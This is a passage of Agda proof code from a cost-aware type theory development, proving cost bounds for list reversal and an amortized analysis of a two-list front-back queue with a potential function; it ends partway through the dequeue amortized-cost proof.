list/match l X e0 e1 = list/ind l X e0 (λ a l _ → e1 a l)
bound/list/match : ∀ (l : val list) (X : val list → tp pos)
{e0 : val (U (F (X nil)))} {e1 : (a : val A) → (l : val list) → val (U (F (X (cons a l))))}
{p0 : val (U cost)} {p1 : (a : val A) → (l : val list) → val (U cost)} →
IsBounded (X nil) e0 p0 →
((a : val A) → (l : val list) → IsBounded (X (cons a l)) (e1 a l) (p1 a l)) →
IsBounded (X l) (list/match l (F ∘ X) e0 e1) (list/match l (λ _ → cost) p0 (λ a l → n + p1 a l))
bound/list/match l X {e0} {e1} {p0} {p1} ub0 ub1 =
list/match l (λ l → meta (IsBounded (X l) (list/match l (F ∘ X) e0 e1) (list/match l (λ _ → cost) p0 (λ a l → n + p1 a l))))
ub0
λ a l → bound/circ n (bound/step n (p1 a l) (ub1 a l))
len : val list → ℕ
len l = list/ind l (λ _ → meta ℕ) 0 λ a l r → 1 + r
module Ex/CostList where
open CostList nat 0
ex : val list
ex = cons 0 (cons 1 nil)
module Rev (A : tp pos) where
open CostList A 1
revAppend : cmp (Π list λ _ → Π list λ _ → F list)
revAppend l =
list/ind l (λ _ → Π list λ _ → F list)
(λ l' → ret l')
λ x _ r → λ l' → r (cons x l')
revAppend/lemma/cons : ∀ x xs l' → ◯ (∃ λ y → ∃ λ ys → (len ys ≡ len xs + len l') × revAppend (cons x xs) l' ≡ ret (cons y ys))
revAppend/lemma/cons x xs =
list/ind xs (λ xs → meta (∀ x l' → ◯ (∃ λ y → ∃ λ ys → (len ys ≡ len xs + len l') × revAppend (cons x xs) l' ≡ ret (cons y ys))))
(λ x l' u → (x , l' , refl , step/ext (F list) (ret (cons x l')) 1 u))
(λ x' xs' ih x l' u →
let (y , ys , h , ≡) = ih x' (cons x l') u in
let open ≡-Reasoning in
y , ys , (
begin
len ys
≡⟨ h ⟩
len xs' + len (cons x l')
≡⟨⟩
len xs' + step (meta ℕ) 1 (suc (len l'))
≡⟨ cong (len xs' +_) (step/ext (meta ℕ) (suc (len l')) 1 u) ⟩
len xs' + suc (len l')
≡⟨ +-suc (len xs') (len l') ⟩
suc (len xs' + len l')
≡⟨⟩
suc (len xs') + len l'
≡˘⟨ cong (_+ len l') (step/ext (meta ℕ) (suc (len xs')) 1 u) ⟩
step (meta ℕ) 1 (suc (len xs')) + len l'
≡⟨⟩
len (cons x' xs') + len l'
∎
) , (
begin
revAppend (cons x (cons x' xs')) l'
≡⟨⟩
step (F list) 1 (revAppend (cons x' xs') (cons x l'))
≡⟨ step/ext (F list) _ 1 u ⟩
revAppend (cons x' xs') (cons x l')
≡⟨ (≡) ⟩
ret (cons y ys)
∎
))
x
revAppend/cost : cmp (Π list λ _ → Π list λ _ → cost)
revAppend/cost l l' = len l
revAppend≤revAppend/cost : ∀ l l' → IsBounded list (revAppend l l') (revAppend/cost l l')
revAppend≤revAppend/cost l =
list/ind l (λ l → meta (∀ l' → IsBounded list (revAppend l l') (revAppend/cost l l')))
(λ l' → bound/ret)
(λ a l r → λ l' → bound/circ 1 (bound/step 1 (len l) (r (cons a l'))))
rev : cmp (Π list λ _ → F list)
rev l = revAppend l nil
rev/lemma/cons : ∀ x xs → ◯ (∃ λ y → ∃ λ ys → len ys ≡ len xs × rev (cons x xs) ≡ ret (cons y ys))
rev/lemma/cons x xs =
subst (λ n → ◯ (∃ λ y → ∃ λ ys → len ys ≡ n × rev (cons x xs) ≡ ret (cons y ys)))
(+-identityʳ _)
(revAppend/lemma/cons x xs nil)
rev/cost : cmp (Π list λ _ → cost)
rev/cost l = len l
rev≤rev/cost : ∀ l → IsBounded list (rev l) (rev/cost l)
rev≤rev/cost l = revAppend≤revAppend/cost l nil
-- Implement Queue with a pair of lists; (f , b) represents the queue f :: rev b.
module FrontBack (A : tp pos) where
-- For simplicity, we charge 1 step for each cons node destruction.
open CostList A 1
open Rev A
Q : tp pos
Q = Σ++ list λ _ → list
emp : val Q
emp = (nil , nil)
enq : cmp (Π Q λ _ → Π A λ _ → F Q)
enq (f , b) x = ret (f , cons x b)
enq/cost : cmp (Π Q λ _ → Π A λ _ → cost)
enq/cost (f , b) x = 0
enq≤enq/cost : ∀ q x → IsBounded Q (enq q x) (enq/cost q x)
enq≤enq/cost q x = bound/ret
deq-tp = sum unit (Σ++ Q λ _ → A)
deq/emp : cmp (Π list λ _ → F deq-tp)
deq/emp l =
list/match l (λ _ → F deq-tp)
(ret (inj₁ triv))
λ a l' → ret (inj₂ ((l' , nil) , a))
deq/emp/cost : cmp (Π list λ _ → cost)
deq/emp/cost l =
list/match l (λ _ → cost)
0
λ a l' → 1 + 0
deq/emp≤deq/emp/cost : ∀ l → IsBounded deq-tp (deq/emp l) (deq/emp/cost l)
deq/emp≤deq/emp/cost l =
bound/list/match l (λ _ → deq-tp)
bound/ret
λ a l' → bound/ret
deq : cmp (Π Q λ _ → F deq-tp)
deq (f , b) =
list/match f (λ _ → F deq-tp)
(bind (F deq-tp) (rev b) (λ b' → deq/emp b'))
λ a l → ret (inj₂ ((l , b) , a))
deq/cost : cmp (Π Q λ _ → cost)
deq/cost (f , b) =
list/match f (λ _ → cost)
(bind cost (rev b) (λ b' → rev/cost b + deq/emp/cost b'))
λ a l → 1 + 0
deq/cost/closed : cmp (Π Q λ _ → cost)
deq/cost/closed (f , b) =
list/match f (λ _ → cost)
(list/match b (λ _ → cost) 0 (λ _ b' → 1 + len b))
λ _ _ → 1
deq/cost≤deq/cost/closed : ∀ q → ◯ (deq/cost q ≤ deq/cost/closed q)
deq/cost≤deq/cost/closed (f , b) u =
list/match f (λ f → meta (deq/cost (f , b) ≤ deq/cost/closed (f , b)))
(list/match b (λ b → meta (deq/cost (nil , b) ≤ deq/cost/closed (nil , b)))
≤-refl
λ x xs →
let open ≤-Reasoning in
let (y , ys , _ , ≡) = rev/lemma/cons x xs u in
begin
deq/cost (nil , cons x xs)
≡⟨⟩
bind cost (rev (cons x xs)) (λ b' → rev/cost (cons x xs) + deq/emp/cost b')
≡⟨⟩
bind cost (rev (cons x xs)) (λ b' → rev/cost (cons x xs) + deq/emp/cost b')
≡⟨ cong (λ e → bind cost e (λ b' → rev/cost (cons x xs) + deq/emp/cost b')) (≡) ⟩
rev/cost (cons x xs) + deq/emp/cost (cons y ys)
≡⟨⟩
step cost 1 (suc (len xs)) + step cost 1 1
≡⟨ cong₂ _+_ (step/ext cost (suc (len xs)) 1 u) (step/ext cost 1 1 u) ⟩
suc (len xs) + 1
≡⟨ +-comm (suc (len xs)) 1 ⟩
suc (suc (len xs))
≡˘⟨ cong suc (step/ext cost _ 1 u) ⟩
suc (step cost 1 (suc (len xs)))
≡⟨⟩
suc (len (cons x xs))
≡˘⟨ step/ext cost _ 1 u ⟩
step cost 1 (suc (len (cons x xs)))
≡⟨⟩
list/match (cons x xs) (λ _ → cost) 0 (λ _ b' → 1 + len (cons x xs))
≡⟨⟩
deq/cost/closed (nil , cons x xs)
∎
)
λ _ _ → ≤-refl
deq≤deq/cost : ∀ q → IsBounded deq-tp (deq q) (deq/cost q)
deq≤deq/cost (f , b) =
bound/list/match f (λ _ → deq-tp)
(bound/bind (rev/cost b) _ (rev≤rev/cost b) λ b' → deq/emp≤deq/emp/cost b')
λ a l → bound/ret
deq≤deq/cost/closed : ∀ q → IsBounded deq-tp (deq q) (deq/cost/closed q)
deq≤deq/cost/closed q = bound/relax (deq/cost≤deq/cost/closed q) (deq≤deq/cost q)
-- Amortized analysis for front-back queue.
-- The goal is to bound the cost of a single-thread sequence of queue operations staring with an initial queue q0,
-- where an operation is either an enqueue or a dequeue.
data op : Set where
op/enq : (x : val A) → op
op/deq : op
-- Potential function
ϕ : val Q → ℕ
ϕ (f , b) = len f + 2 * len b
-- o operate q is the computation induced by operation o on queue q.
-- Needed because deq doesn't always return a queue (e.g., deq emp).
-- In these cases we just return the empty queue.
_operate_ : op → val Q → cmp (F Q)
(op/enq x) operate q = enq q x
(op/deq) operate q =
bind (F Q) (deq q) λ s → (sum/case unit (Σ++ Q λ _ → A) (λ _ → F Q) s
(λ _ → ret (nil , nil))
(λ (q , x) → ret q))
-- o operateϕ q is morally ϕ (o operate q), which doesn't type-check since o operate q is a computation.
-- Easier to work with than bind cost (o operate q) ϕ (but they are equivalent, as shown below).
_operateϕ_ : op → val Q → ℂ
(op/enq x) operateϕ (f , b) = len f + 2 * (1 + len b)
(op/deq) operateϕ (f , b) = list/match f (λ _ → cost) (list/match b (λ _ → cost) 0 (λ _ b' → len b')) (λ _ f' → len f' + 2 * len b)
operateϕ≡ϕ∘operate : ∀ o q → ◯ (o operateϕ q ≡ bind cost (o operate q) ϕ)
operateϕ≡ϕ∘operate (op/enq x) (f , b) u =
begin
len f + 2 * (1 + len b)
≡˘⟨ cong (λ n → len f + 2 * n) (step/ext cost (1 + len b) 1 u) ⟩
len f + 2 * step cost 1 (1 + len b)
≡⟨⟩
bind cost (enq (f , b) x) ϕ
∎
where open ≡-Reasoning
operateϕ≡ϕ∘operate op/deq (f , b) u = list/match f
(λ f →
meta
((op/deq operateϕ (f , b)) ≡
bind cost (op/deq operate (f , b)) ϕ))
(list/ind b (λ b → meta ((op/deq operateϕ (nil , b)) ≡ bind cost (op/deq operate (nil , b)) ϕ))
refl
λ a l ih → emp/cons a l)
λ a l → refl
where
emp/cons : ∀ a l → op/deq operateϕ (nil , cons a l) ≡ bind cost (op/deq operate (nil , cons a l)) ϕ
emp/cons a l with rev/lemma/cons a l u
... | (x' , l' , eqn1 , eqn2) =
begin
op/deq operateϕ (nil , cons a l)
≡⟨⟩
step cost 1 (len l)
≡⟨ step/ext cost (len l) 1 u ⟩
len l
≡⟨ P.sym eqn1 ⟩
len l'
≡⟨ P.sym (+-identityʳ (len l')) ⟩
len l' + 0
≡⟨⟩
len l' + 2 * len nil
≡⟨⟩
ϕ (l' , nil)
≡˘⟨ step/ext cost (ϕ (l' , nil)) 1 u ⟩
step cost 1 (ϕ (l' , nil))
≡⟨⟩
bind cost
(step (F Q) 1 (ret (l' , nil)))
ϕ
≡⟨⟩
bind cost
(bind (F Q) (step (F deq-tp) 1 (ret (inj₂ ((l' , nil) , x')))) λ s → (sum/case unit (Σ++ Q λ _ → A) (λ _ → F Q) s
(λ _ → ret (nil , nil))
(λ (q , x) → ret q)))
ϕ
≡⟨⟩
bind cost
(bind (F Q) (deq/emp (cons x' l')) λ s → (sum/case unit (Σ++ Q λ _ → A) (λ _ → F Q) s
(λ _ → ret (nil , nil))
(λ (q , x) → ret q)))
ϕ
≡˘⟨
cong
(λ e →
bind cost
(bind (F Q) e λ l' →
bind (F Q) (deq/emp l') λ s → (sum/case unit (Σ++ Q λ _ → A) (λ _ → F Q) s
(λ _ → ret (nil , nil))
(λ (q , x) → ret q)))
ϕ
)
eqn2
⟩
bind cost
(bind (F Q) (rev (cons a l)) λ l' →
bind (F Q) (deq/emp l') λ s → (sum/case unit (Σ++ Q λ _ → A) (λ _ → F Q) s
(λ _ → ret (nil , nil))
(λ (q , x) → ret q)))
ϕ
≡⟨⟩
bind cost
(bind (F Q) (deq (nil , cons a l)) λ s → (sum/case unit (Σ++ Q λ _ → A) (λ _ → F Q) s
(λ _ → ret (nil , nil))
(λ (q , x) → ret q)))
ϕ
≡⟨⟩
bind cost (op/deq operate (nil , cons a l)) ϕ
∎
where open ≡-Reasoning
-- op/cost o q is the cost of o operate q.
op/cost : op → val Q → ℕ
op/cost (op/enq x) q = 0
op/cost (op/deq) (f , b) = list/match f (λ _ → cost) (list/match b (λ _ → cost) 0 (λ _ b' → 2 + len b')) (λ _ _ → 1)
deq/cost≡cost/deq : ∀ q → ◯ (deq/cost/closed q ≡ op/cost op/deq q)
deq/cost≡cost/deq (f , b) u =
P.cong (λ x → list/match f (λ _ → cost) x (λ _ _ → 1)) (
list/match b
(λ b →
meta
(list/match b (λ _ → cost) 0 (λ _ b' → 1 + len b) ≡
list/match b (λ _ → cost) 0 (λ _ b' → 2 + len b')))
refl
(λ a l →
let open ≡-Reasoning in
begin
list/match (cons a l) (λ _ → cost) 0 (λ _ b' → 1 + len (cons a l))
≡⟨⟩
step cost 1 (1 + len (cons a l))
≡⟨ step/ext cost (1 + len (cons a l)) 1 u ⟩
1 + len (cons a l)
≡⟨⟩
1 + step cost 1 (suc (len l))
≡⟨ cong (1 +_) (step/ext cost (suc (len l)) 1 u) ⟩
2 + len l
≡˘⟨ step/ext cost (2 + len l) 1 u ⟩
step cost 1 (2 + len l)
≡⟨⟩
list/match (cons a l) (λ _ → cost) 0 (λ _ b' → 2 + len b')
∎
)
)
-- cost o q upperbounds the cost of o operate q.
op≤op/cost : ∀ o q → IsBounded Q (o operate q) (op/cost o q)
op≤op/cost (op/enq x) q = enq≤enq/cost q x
op≤op/cost op/deq q rewrite P.sym (+-identityʳ (op/cost (op/deq) q)) =
bound/bind/const {A = deq-tp} {e = deq q} {f = λ s → (sum/case unit (Σ++ Q λ _ → A) (λ _ → F Q) s (λ _ → ret (nil , nil)) (λ (q , x) → ret q))}
(op/cost op/deq q) 0
(bound/relax (λ u → ≤-reflexive (deq/cost≡cost/deq q u)) (deq≤deq/cost/closed q))
λ a →
bound/sum/case/const/const unit ((Σ++ Q λ _ → A)) (λ _ → Q) a ((λ _ → ret (nil , nil))) (λ (q , x) → ret q) 0
(λ _ → bound/ret)
(λ _ → bound/ret)
-- is/acost o k when for any state q, k suffices for the cost of o on q and the difference in the potential.
is/acost : op → ℕ → Set
is/acost o k = ∀ q → (Int.+ (op/cost o q)) Int.+ ((o operateϕ q) Int.⊖ (ϕ q)) Int.≤ Int.+ k
acost/weaken : ∀ {m n o} → m ≤ n → is/acost o m → is/acost o n
acost/weaken h1 h2 = λ q → IntP.≤-trans (h2 q) (Int.+≤+ h1)
-- A sequence of operations induces a single computation by threading through the initial state q0.
_op/seq_ : List op → val Q → cmp (F Q)
[] op/seq q0 = ret q0
(o ∷ os) op/seq q = bind (F Q) (o operate q) λ q' → os op/seq q'
op/seq/cost : ∀ (l : List op) → val Q → ℂ
op/seq/cost [] q0 = 0
op/seq/cost (o ∷ os) q = bind cost (o operate q) λ q' → op/cost o q + op/seq/cost os q'
-- Cost of a sequence computation is bounded by the sum of cost of the constituents.
op/seq≤op/seq/cost : ∀ l q → IsBounded Q (l op/seq q) (op/seq/cost l q)
op/seq≤op/seq/cost [] q0 = bound/ret
op/seq≤op/seq/cost (o ∷ os) q = bound/bind {A = Q} {e = o operate q} {f = λ q → os op/seq q}
(op/cost o q) (op/seq/cost os) (op≤op/cost o q) λ q → op/seq≤op/seq/cost os q
-- Telescoping the potential.
op/seq/cost/tele : ∀ (l : List op) → val Q → Int.ℤ
op/seq/cost/tele [] q0 = Int.0ℤ
op/seq/cost/tele (o ∷ os) q = bind (meta Int.ℤ) (o operate q) λ q' → (Int.+ (op/cost o q)) Int.+ (o operateϕ q Int.⊖ ϕ q) Int.+ (op/seq/cost/tele os q')
ϕn : ℕ → List op → val Q → ℕ
ϕn zero l q0 = ϕ q0
ϕn (suc n) (o ∷ os) q = bind cost (o operate q) λ q' → ϕn n os q'
ϕn (suc n) [] q = 0
-- Potential of the initial state
ϕ/0 : List op → val Q → ℕ
ϕ/0 l = ϕn 0 l
-- Potential of the final state
ϕ/-1 : List op → val Q → ℕ
ϕ/-1 l = ϕn (length l) l
bind/dup : ∀ A 𝕊 𝕋 e f (g : val A → 𝕊 → 𝕋) → bind {A} (meta 𝕋) e (λ a → g a (bind {A} (meta 𝕊) e f)) ≡ bind {A} (meta 𝕋) e (λ a → g a (f a))
bind/dup A 𝕊 𝕋 e f g =
begin
bind (meta 𝕋) e (λ a → g a (bind (meta 𝕊) e f)) ≡⟨ P.cong (λ h → bind (meta 𝕋) e h) (funext (λ a → bind/meta A 𝕊 𝕋 e f (λ s → g a s))) ⟩
bind (meta 𝕋) e (λ a → bind (meta 𝕋) e (λ a' → g a (f a'))) ≡⟨ bind/idem A 𝕋 e (λ a a' → g a (f a')) ⟩
bind (meta 𝕋) e (λ a → g a (f a)) ≡⟨ refl ⟩
bind (meta 𝕋) e (λ a → g a (f a))
∎
where open ≡-Reasoning
-- Telescoping sum:
-- Σᵢⁿ op/cost oᵢ + ϕ qᵢ - ϕ qᵢ₋₁ = ϕ q_{n-1} - ϕ q_0 + Σᵢ costᵢ
cost≡cost/tele : ∀ l q → ◯ (op/seq/cost/tele l q ≡ (ϕ/-1 l q Int.⊖ ϕ/0 l q) Int.+ (Int.+ (op/seq/cost l q)))
cost≡cost/tele [] q u =
P.sym
(
begin
(ϕ q Int.⊖ ϕ q) Int.+ (Int.+ 0) ≡⟨ IntP.+-identityʳ (ϕ q Int.⊖ ϕ q) ⟩
ϕ q Int.⊖ ϕ q ≡⟨ IntP.n⊖n≡0 (ϕ q) ⟩
Int.+ 0 ≡⟨ refl ⟩
Int.+ 0
∎
)
where open ≡-Reasoning
cost≡cost/tele (o ∷ os) q u rewrite operateϕ≡ϕ∘operate o q u
| bind/meta Q ℕ Int.ℤ
(o operate q)
(λ q' → op/cost o q + op/seq/cost os q')
(λ x → (ϕ/-1 (o ∷ os) q Int.⊖ ϕ/0 (o ∷ os) q) Int.+ (Int.+ x))
| bind/dup Q ℕ Int.ℤ (o operate q) (ϕ/-1 os) (λ q' x → (x Int.⊖ ϕ q) Int.+ (Int.+ (op/cost o q + op/seq/cost os q')))
| bind/dup Q ℕ Int.ℤ (o operate q) ϕ (λ q' x → Int.+ (op/cost o q) Int.+ (x Int.⊖ ϕ q) Int.+ (op/seq/cost/tele os q')) =
P.cong (λ f → bind (meta Int.ℤ) (o operate q) f)
(funext (λ q' →
(
begin
(Int.+ (op/cost o q)) Int.+ (ϕ q' Int.⊖ ϕ q) Int.+ (op/seq/cost/tele os q') ≡⟨ P.cong (λ x → (Int.+ (op/cost o q)) Int.+ (ϕ q' Int.⊖ ϕ q) Int.+ x) (cost≡cost/tele os q' u) ⟩
Int.+ op/cost o q Int.+ (ϕ q' Int.⊖ ϕ q) Int.+ (ϕ/-1 os q' Int.⊖ ϕ/0 os q' Int.+ Int.+ op/seq/cost os q') ≡⟨ P.cong (λ x → x Int.+ (ϕ/-1 os q' Int.⊖ ϕ/0 os q' Int.+ Int.+ op/seq/cost os q')) (IntP.+-comm (Int.+ op/cost o q) (ϕ q' Int.⊖ ϕ q)) ⟩
ϕ q' Int.⊖ ϕ q Int.+ Int.+ op/cost o q Int.+ (ϕ/-1 os q' Int.⊖ ϕ/0 os q' Int.+ Int.+ op/seq/cost os q') ≡⟨ IntP.+-assoc (ϕ q' Int.⊖ ϕ q) (Int.+ op/cost o q) (ϕ/-1 os q' Int.⊖ ϕ/0 os q' Int.+ Int.+ op/seq/cost os q') ⟩
ϕ q' Int.⊖ ϕ q Int.+ (Int.+ op/cost o q Int.+ (ϕ/-1 os q' Int.⊖ ϕ/0 os q' Int.+ Int.+ op/seq/cost os q')) ≡⟨ P.cong (λ x → ϕ q' Int.⊖ ϕ q Int.+ x) (P.sym (IntP.+-assoc (Int.+ op/cost o q) (ϕ/-1 os q' Int.⊖ ϕ/0 os q') (Int.+ op/seq/cost os q'))) ⟩
ϕ q' Int.⊖ ϕ q Int.+ (Int.+ op/cost o q Int.+ (ϕ/-1 os q' Int.⊖ ϕ/0 os q') Int.+ Int.+ op/seq/cost os q') ≡⟨ P.cong (λ x → ϕ q' Int.⊖ ϕ q Int.+ (x Int.+ Int.+ op/seq/cost os q')) (IntP.+-comm (Int.+ op/cost o q) (ϕ/-1 os q' Int.⊖ ϕ/0 os q')) ⟩
ϕ q' Int.⊖ ϕ q Int.+ (ϕ/-1 os q' Int.⊖ ϕ/0 os q' Int.+ Int.+ op/cost o q Int.+ Int.+ op/seq/cost os q') ≡⟨ P.cong (λ x → ϕ q' Int.⊖ ϕ q Int.+ x) (IntP.+-assoc (ϕ/-1 os q' Int.⊖ ϕ/0 os q') (Int.+ op/cost o q) (Int.+ op/seq/cost os q')) ⟩
ϕ q' Int.⊖ ϕ q Int.+ (ϕ/-1 os q' Int.⊖ ϕ/0 os q' Int.+ (Int.+ op/cost o q Int.+ Int.+ op/seq/cost os q')) ≡⟨ P.sym (IntP.+-assoc (ϕ q' Int.⊖ ϕ q) (ϕ/-1 os q' Int.⊖ ϕ/0 os q') (Int.+ op/cost o q Int.+ Int.+ op/seq/cost os q')) ⟩
ϕ q' Int.⊖ ϕ q Int.+ (ϕ/-1 os q' Int.⊖ ϕ/0 os q') Int.+ (Int.+ op/cost o q Int.+ Int.+ op/seq/cost os q') ≡⟨ P.cong (λ x → x Int.+ (ϕ/-1 os q' Int.⊖ ϕ/0 os q') Int.+ (Int.+ op/cost o q Int.+ Int.+ op/seq/cost os q')) (P.sym (IntP.m-n≡m⊖n (ϕ q') (ϕ q))) ⟩
Int.+ ϕ q' Int.- (Int.+ ϕ q) Int.+ (ϕ/-1 os q' Int.⊖ ϕ/0 os q') Int.+ (Int.+ op/cost o q Int.+ Int.+ op/seq/cost os q') ≡⟨ P.cong (λ x → Int.+ ϕ q' Int.- (Int.+ ϕ q) Int.+ x Int.+ (Int.+ op/cost o q Int.+ Int.+ op/seq/cost os q')) (P.sym (IntP.m-n≡m⊖n (ϕ/-1 os q') (ϕ/0 os q'))) ⟩
Int.+ ϕ q' Int.- Int.+ ϕ q Int.+ (Int.+ ϕ/-1 os q' Int.- (Int.+ ϕ/0 os q')) Int.+ (Int.+ op/cost o q Int.+ Int.+ op/seq/cost os q') ≡⟨ P.cong (λ x → x Int.+ (Int.+ op/cost o q Int.+ Int.+ op/seq/cost os q')) (IntP.+-comm (Int.+ ϕ q' Int.- Int.+ ϕ q) (Int.+ ϕ/-1 os q' Int.- (Int.+ ϕ/0 os q'))) ⟩
Int.+ ϕ/-1 os q' Int.- Int.+ ϕ/0 os q' Int.+ (Int.+ ϕ q' Int.- Int.+ ϕ q) Int.+ (Int.+ op/cost o q Int.+ Int.+ op/seq/cost os q') ≡⟨ P.cong (λ x → x Int.+ (Int.+ op/cost o q Int.+ Int.+ op/seq/cost os q')) (IntP.+-minus-telescope (Int.+ ϕ/-1 os q') (Int.+ ϕ q') (Int.+ ϕ q)) ⟩
Int.+ ϕ/-1 os q' Int.- Int.+ ϕ q Int.+ (Int.+ op/cost o q Int.+ Int.+ op/seq/cost os q') ≡⟨ P.cong (λ x → x Int.+ (Int.+ op/cost o q Int.+ Int.+ op/seq/cost os q')) (IntP.m-n≡m⊖n (ϕ/-1 os q') (ϕ q )) ⟩
ϕ/-1 os q' Int.⊖ ϕ q Int.+ (Int.+ op/cost o q Int.+ Int.+ op/seq/cost os q') ≡⟨ refl ⟩
ϕ/-1 os q' Int.⊖ ϕ q Int.+ (Int.+ op/cost o q Int.+ Int.+ op/seq/cost os q')
∎
)
))
where open ≡-Reasoning
data Amortized : List op → List ℕ → Set where
a/emp : Amortized [] []
a/cons : ∀ o k l l' → is/acost o k → Amortized l l' → Amortized (o ∷ l) (k ∷ l')
amortized≥cost/tele : ∀ q0 l l' → Amortized l l' → Int.+ (lsum l') Int.≥ op/seq/cost/tele l q0
amortized≥cost/tele q .[] .[] a/emp = IntP.≤-refl
amortized≥cost/tele q .(o ∷ os) .(k ∷ l') (a/cons o k os l' x h) rewrite tbind/meta Q Int.ℤ (o operate q) (λ q' → (Int.+ (op/cost o q)) Int.+ (o operateϕ q Int.⊖ ϕ q) Int.+ (op/seq/cost/tele os q')) (λ z → z Int.≤ Int.+ lsum (k ∷ l')) =
dbind (λ q' → meta ((Int.+ (op/cost o q)) Int.+ (o operateϕ q Int.⊖ ϕ q) Int.+ (op/seq/cost/tele os q') Int.≤ Int.+ lsum (k ∷ l'))) (o operate q)
λ q' →
begin
Int.+ op/cost o q Int.+ ((o operateϕ q) Int.⊖ ϕ q) Int.+ op/seq/cost/tele os q' ≤⟨ IntP.+-monoˡ-≤ (op/seq/cost/tele os q') (x q) ⟩
Int.+ k Int.+ op/seq/cost/tele os q' ≤⟨ IntP.+-monoʳ-≤ (Int.+ k) (amortized≥cost/tele q' os l' h) ⟩
Int.+ k Int.+ Int.+ lsum l' ≤⟨ IntP.≤-refl ⟩
Int.+ k Int.+ Int.+ lsum l'
∎
where open IntP.≤-Reasoning
-- Sum of a sequence of amortized costs (plus the initial potential) bounds the sum of the sequence of actual costs
amortized≥cost : ∀ q l l' → Amortized l l' → ◯ (Int.+ (ϕ q + lsum l') Int.≥ Int.+ (op/seq/cost l q))
amortized≥cost q l l' h u =
begin
Int.+ (op/seq/cost l q) ≤⟨ IntP.n≤m+n (0 + ϕ/-1 l q) ⟩
Int.0ℤ Int.+ (Int.+ ϕ/-1 l q) Int.+ Int.+ op/seq/cost l q ≡⟨ P.cong (λ x → x Int.+ (Int.+ ϕ/-1 l q) Int.+ Int.+ op/seq/cost l q) (P.sym (IntP.n⊖n≡0 (ϕ q))) ⟩
ϕ q Int.⊖ ϕ q Int.+ Int.+ ϕ/-1 l q Int.+ Int.+ op/seq/cost l q ≡⟨ P.cong (λ x → x Int.+ (Int.+ ϕ/-1 l q) Int.+ Int.+ op/seq/cost l q) (P.sym (IntP.m-n≡m⊖n (ϕ q) (ϕ q))) ⟩
Int.+ ϕ q Int.+ Int.- (Int.+ ϕ q) Int.+ Int.+ ϕ/-1 l q Int.+ Int.+ op/seq/cost l q ≡⟨ P.cong (λ x → x Int.+ Int.+ op/seq/cost l q) (IntP.+-assoc (Int.+ ϕ q) (Int.- (Int.+ ϕ q)) (Int.+ ϕ/-1 l q)) ⟩
Int.+ ϕ q Int.+ (Int.- (Int.+ ϕ q) Int.+ Int.+ ϕ/-1 l q) Int.+ Int.+ op/seq/cost l q ≡⟨ P.cong (λ x → Int.+ ϕ q Int.+ x Int.+ Int.+ op/seq/cost l q) (IntP.+-comm (Int.- (Int.+ ϕ q)) (Int.+ ϕ/-1 l q)) ⟩
Int.+ ϕ q Int.+ (Int.+ ϕ/-1 l q Int.- (Int.+ ϕ q)) Int.+ Int.+ op/seq/cost l q ≡⟨ IntP.+-assoc (Int.+ ϕ q) (Int.+ ϕ/-1 l q Int.- (Int.+ ϕ q)) (Int.+ op/seq/cost l q) ⟩
Int.+ ϕ q Int.+ (Int.+ ϕ/-1 l q Int.- Int.+ ϕ q Int.+ Int.+ op/seq/cost l q) ≡⟨ P.cong (λ x → Int.+ ϕ q Int.+ (x Int.+ Int.+ op/seq/cost l q)) (IntP.m-n≡m⊖n (ϕ/-1 l q) (ϕ q)) ⟩
Int.+ ϕ q Int.+ (ϕ/-1 l q Int.⊖ ϕ q Int.+ Int.+ op/seq/cost l q) ≡⟨ P.cong (λ x → Int.+ ϕ q Int.+ x) (P.sym (cost≡cost/tele l q u)) ⟩
Int.+ ϕ q Int.+ op/seq/cost/tele l q ≤⟨ IntP.+-monoʳ-≤ (Int.+ ϕ q) (amortized≥cost/tele q l l' h) ⟩
Int.+ ϕ q Int.+ Int.+ lsum l' ≤⟨ IntP.≤-refl ⟩
Int.+ ϕ q Int.+ Int.+ lsum l'
∎
where open IntP.≤-Reasoning
-- Amortized cost for enq and deq on a front-back queue
enq/acost : ∀ x → ◯ (is/acost (op/enq x) 2)
enq/acost x u (f , b) =
begin
(Int.+ (op/cost (op/enq x) (f , b))) Int.+ (((op/enq x) operateϕ (f , b)) Int.⊖ (ϕ (f , b)))
≡⟨⟩
Int.0ℤ Int.+ ((len f + 2 * (1 + len b)) Int.⊖ (ϕ (f , b)))
≡⟨ IntP.+-identityˡ ((len f + 2 * (1 + len b)) Int.⊖ (ϕ (f , b))) ⟩
len f + 2 * (1 + len b) Int.⊖ ϕ (f , b)
≡⟨ P.cong (λ x → (len f + x) Int.⊖ (ϕ (f , b))) (*-distribˡ-+ 2 1 (len b)) ⟩
len f + (2 * 1 + 2 * len b) Int.⊖ ϕ (f , b)
≡⟨ P.cong (λ x → (len f + x) Int.⊖ (ϕ (f , b)) ) (+-comm 2 (2 * len b)) ⟩
len f + (2 * len b + 2) Int.⊖ ϕ (f , b)
≡⟨ P.cong (λ x → x Int.⊖ (ϕ (f , b))) (P.sym (+-assoc (len f) (2 * len b) 2)) ⟩
len f + 2 * len b + 2 Int.⊖ ϕ (f , b)
≡⟨ P.cong (λ x → (len f + 2 * len b + 2) Int.⊖ x) (P.sym (+-identityʳ (ϕ (f , b)))) ⟩
len f + 2 * len b + 2 Int.⊖ (ϕ (f , b) + 0)
≡⟨ IntP.+-cancelˡ-⊖ (len f + 2 * len b) 2 0 ⟩
Int.+ 2
∎
where open IntP.≤-Reasoning
n+n≡2*n : ∀ n → n + n ≡ 2 * n
n+n≡2*n n =
begin
n + n ≡⟨ P.cong (λ x → n + x) (P.sym (+-identityʳ n)) ⟩
2 * n ∎
where open ≡-Reasoning
deq/acost : ◯ (is/acost op/deq 0)
deq/acost u (f , b) =
list/match f (λ f → meta ((Int.+ (op/cost op/deq (f , b))) Int.+ ((op/deq operateϕ (f , b)) Int.⊖ (ϕ (f , b))) Int.≤ Int.0ℤ))
(
list/match b (λ b → meta ((Int.+ (op/cost op/deq (nil , b))) Int.+ ((op/deq operateϕ (nil , b)) Int.⊖ (ϕ (nil , b))) Int.≤ Int.0ℤ))
IntP.≤-refl
λ a b' →
begin
(Int.+ (op/cost op/deq (nil , cons a b'))) Int.+ ((op/deq operateϕ (nil , cons a b')) Int.⊖ (ϕ (nil , cons a b')))
≡⟨⟩
Int.+ (step cost 1 (2 + len b')) Int.+ (step cost 1 (len b') Int.⊖ (2 * (step cost 1 (1 + len b'))))
≡⟨
cong₂ Int._+_
(cong Int.+_ (step/ext cost (2 + len b') 1 u))
(cong₂ Int._⊖_
(step/ext cost (len b') 1 u)
(cong (2 *_) (step/ext cost (1 + len b') 1 u))
)
⟩
Int.+ (2 + len b') Int.+ (len b' Int.⊖ (2 * (1 + len b')))
